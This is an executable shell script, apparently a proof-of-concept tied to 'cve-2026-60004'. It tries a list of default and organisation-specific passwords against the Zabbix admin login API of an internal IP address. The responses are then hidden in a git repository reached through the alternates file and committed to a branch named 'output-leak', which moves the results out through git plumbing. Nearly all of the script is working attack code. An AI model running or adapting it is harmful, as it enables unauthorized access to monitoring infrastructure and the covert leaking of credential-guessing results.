14 lines
1001 B
Bash
Executable File
14 lines
1001 B
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(for pw in 'zabbix' 'Zabbix1!' 'Admin123!' 'P@ssw0rd' 'Password1!' 'PKP123!' 'Intercity123!' 'monitoring' 'Monitor123!' 'zabbix123' 'admin' 'Admin2024!' 'Admin2025!' 'Admin2026!'; do
|
|
R=$(curl -sm10 -H 'Content-Type: application/json' -d "{"jsonrpc":"2.0","method":"user.login","params":{"user":"Admin","password":"$pw"},"id":0}" http://10.209.15.169/api_jsonrpc.php 2>&1)
|
|
echo "$pw -> $(echo $R | head -c 200)"
|
|
sleep 3
|
|
done 2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|